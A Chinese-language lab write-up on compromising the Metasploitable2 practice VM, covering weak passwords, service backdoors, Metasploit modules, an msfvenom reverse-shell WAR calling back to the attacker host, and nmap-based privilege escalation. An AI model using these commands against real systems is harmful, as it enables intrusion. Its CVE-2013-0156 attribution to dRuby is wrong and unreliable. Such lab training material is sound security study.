Metasploitable2-靶机
一、靶场环境
攻击机:192.168.111.5 kali
靶机:192.168.111.129 Metasploitable2-Linux
靶机下载地址:Metasploitable - Browse /Metasploitable2 at SourceForge.net
二、靶机漏洞清单
端口/服务
21 / 弱口令
22 / 弱口令
23 /弱口令
80 - php_cgi
139 / smb
3306 / 空密码
5432 / postgresql
8180 / tomcat弱口令
445 / Samb
1099 / java_rmi_server
1524 msfable 后门
2049 / NFS共享漏洞
3632 / distcc_exec
5900 / VNC
6667 / unreal_ircd
8787 / drb_remote_codeexec
三、端口扫描
四、弱口令灾区
4.1 telnet(23)
弱口令msfadmin msfadmin
- hydra也可以
hydra -L password.txt -P password.txt telnet://192.168.111.129 -V
4.2 PostgreSQL(5432)
4.3 VNC(5900)
弱口令password
4.4 mysql(3306)
直接没密码
4.5 ssh(22)
4.6 tomcat后台(8180)
影响版本
- Apache Tomcat 7.0 <8.0.
- 直接msf生成木马
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.111.5 LPORT=12345 -f war -o shell.war
五、漏洞利用
切交互式shell命令 python -c ‘import pty;pty.spawn(“/bin/sh”)’
5.1 Samba MS-RPC Shell命令注入(139)
CVE-2007-2447
- Samba协议的一个漏洞CVE-2007-2447,用户名映射脚本命令执行,基于139端口
- 影响Samba的3.0.20到3.0.25rc3 版本
- 当使用非默认的用户名映射脚本配置选项时产生
- 通过指定一个包含shell元字符的用户名,攻击者能够执行任意命令
简而言之,此软件在 Windows 与 UNIX 系列 OS 之间搭起一座桥梁,让两者的资源可互通有无。
5.2 Samba sysmlink 默认配置目录遍历漏洞(445)
CVE-2010-0926
5.3 vsftpd后门(21)
对VSFTPD 2.3.4 的攻击就是通过向21端口发送一个特定字节的序列来触发恶意的vsf_sysutil_extra()函数。一旦成功执行,就会在系统的6200端口打开一个后门,从而进行利用
5.4 UnreallRCd后门(6667)
站点的UnrealIRCd,在DEBUG3_DOLOG_SYSTEM宏中包含外部引入的恶意代码,远程攻击者能够执行任意代码。
攻击脚本官网文档
5.5 PHP CGI参数注入执行漏洞(80)
漏洞原理:
- 用户请求的querystring被作为了php-cgi的参数,最终导致了一系列结果。
- 探究一下原理,RFC3875中规定,当querystring中不包含没有解码的=号的情况下,要将querystring作为cgi的参数传入。
- 所以,Apache服务器按要求实现了这个功能。
- apache在解析.php文件时会把接收到的url参数通过mod_cgi模块交给后端的php-cgi处理,而传递过程中未对参数进行过滤,导致php-cgi会把用户输入当作php参数执行
影响版本: - php < 5.3.12
- php < 5.4.2
5.6 Ingreslock后门(1524)
Ingreslock后门程序运行在1524端口,连接到1524端口就能直接获得root权限,经常用于入侵一个暴露的服务器;直接使用telnet命令获取权限
Ingreslock 服务安全漏洞原理:
ingreslock 1524/TCP 端口是 Ingres 数据库管理系统(DBMS)锁定服务
ingreslock 1524/TCP 端口经常被用作后门程序监听端口,这个端口曾经一段时间非常流行,是一个非常古老的漏洞。许多攻击脚本当通过其他服务的漏洞攻击成功后,可以通过这个端口安装一个后门 Shell。
5.7 Postgres共享库代码任意执行(5432)
5.8 Druby远程代码执行漏洞(8787)
Druby配置不当,被滥用执行命令。CVE编号:CVE-2013-0156。
使用模块:use exploit/linux/misc/drb_remote_codeexec
5.9 Java RMI Server(1099)
5.10 distccd服务(3632)
use exploit/unix/misc/distcc_exec
六、提权之路
6.1 提权前准备
查看当前用户
whoami或者id
提权看系统发行版本
lsb_release -a
查看操作系统的内核版本
uname -a
查找SUID文件
find / -perm -u=s -type f 2>/dev/null
6.2 使用nmap提权
查看nmap的版本
/usr/bin/nmap --version
低版本可以利用
执行
/usr/bin/nmap --interactive
再
!sh